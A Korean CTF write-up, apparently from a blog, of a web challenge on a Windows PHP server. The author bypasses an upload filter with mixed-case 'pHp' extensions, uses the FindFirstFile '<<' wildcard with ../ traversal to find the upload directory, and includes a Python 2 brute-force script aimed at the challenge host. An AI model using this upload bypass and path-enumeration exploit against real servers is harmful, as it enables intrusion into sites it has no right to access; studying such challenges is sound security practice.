문제에 들어가보면 다음과 같이 업로드기능만 떡하니 하나 존재한다. 파일을 업로드해보면 php를 필터링하지만 pHp와 같이 대소문자를 섞어주면 우회하여 업로드가 가능하며 환경이 Windows이기때문에 대소문자 상관없이 pHp가 php확장자로 인식될 수 있다.
업로드 하는거자체는 문제가안되는데 중요한건 경로를 알아내야한다는 것이었다. 페이지 접속시 다음과 같이 주석처리된 페이지가 존재하는데 이걸통해 경로를 찾으면 될 것 같았다.
해당기능을 보면 요청한 파일이 존재하고 해당 파일이 정상적인 image파일이면 이미지 크기가 출력되고 아닐경우 image error가 출력되는걸 볼 수 있었다.
처음엔 여기서 command injection이 터질거라고 생각했는데 이것저것다 해봐도 통하지 않았다. 그러다 서버환경이 PHP Windows인걸 보고 예전에 언뜻 봤던 findFirstFile 트릭이 생각나서 다음과 같이 시도해봤더니 정상적으로 통하는걸 알 수 있었다.
../가 먹히고 있었기 때문에 <<랑 조합해서 상위경로의 디렉터리를 하나씩 찾으면 되겠다고 생각했고 간단하게 코드를 짜서 돌렸다.
import urllib2
####################### The following variables should be set for your environment. #######################
host = "47.90.97.18:9999" ## HOST IP or Address
User_Agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" ## User_Agent
strings = "abcdefghijklmnopqrstuvwxyz01234567890_"
def request(data):
data = "../"+data+"<</"+"1523684235.pHp"
url = "http://" + host + "/pic.php?filename="+data
req = urllib2.Request(url)
req.add_header('User-Agent', User_Agent)
response = urllib2.urlopen(req).read()
return response
path = ""
end = 0
while True:
for i in range(0,len(strings)):
result = request(path+strings[i])
if "width" in result:
path += strings[i]
print "Find Path[-]=" + path
break
if i == len(strings)-1:
end = 1
if end==1:
break
print "Find Path[*]=" + path
해당경로로 접근해보면 정상적으로 php파일이 접근되는걸 확인할 수 있었고 system류 함수와 scandir이 막혀있어서 file_get_contents로 다음과 같이 동일한 트릭을써서 flag파일을 읽어왔다.
익스코드가 상위 경로에 exploit_dir , exploit_dia와 같이 비슷한 이름의 디렉터리가 여러개 존재할경우에는 제대로 동작안했을 텐데 다행히 디렉터리가 하나밖에없어서 제대로 나오긴했다. 전에도 이부분까지 감안한 코드짜봐야지하고 고민하다 그냥 넘어갔었는데 이참에 확실히 정리하고 넘어가도록 해야겠다.
'CTF > Writeup' 카테고리의 다른 글
ASIS 2018 CTF Good WAF (0) | 2018.05.01 |
---|---|
ASIS 2018 CTF Buy flags (0) | 2018.05.01 |
Byte Bandits CTF R3M3MB3R (0) | 2018.04.08 |
INS'HACK CTF 2018 Crimemail (0) | 2018.04.08 |
SunshineCTF Search Box (0) | 2018.04.07 |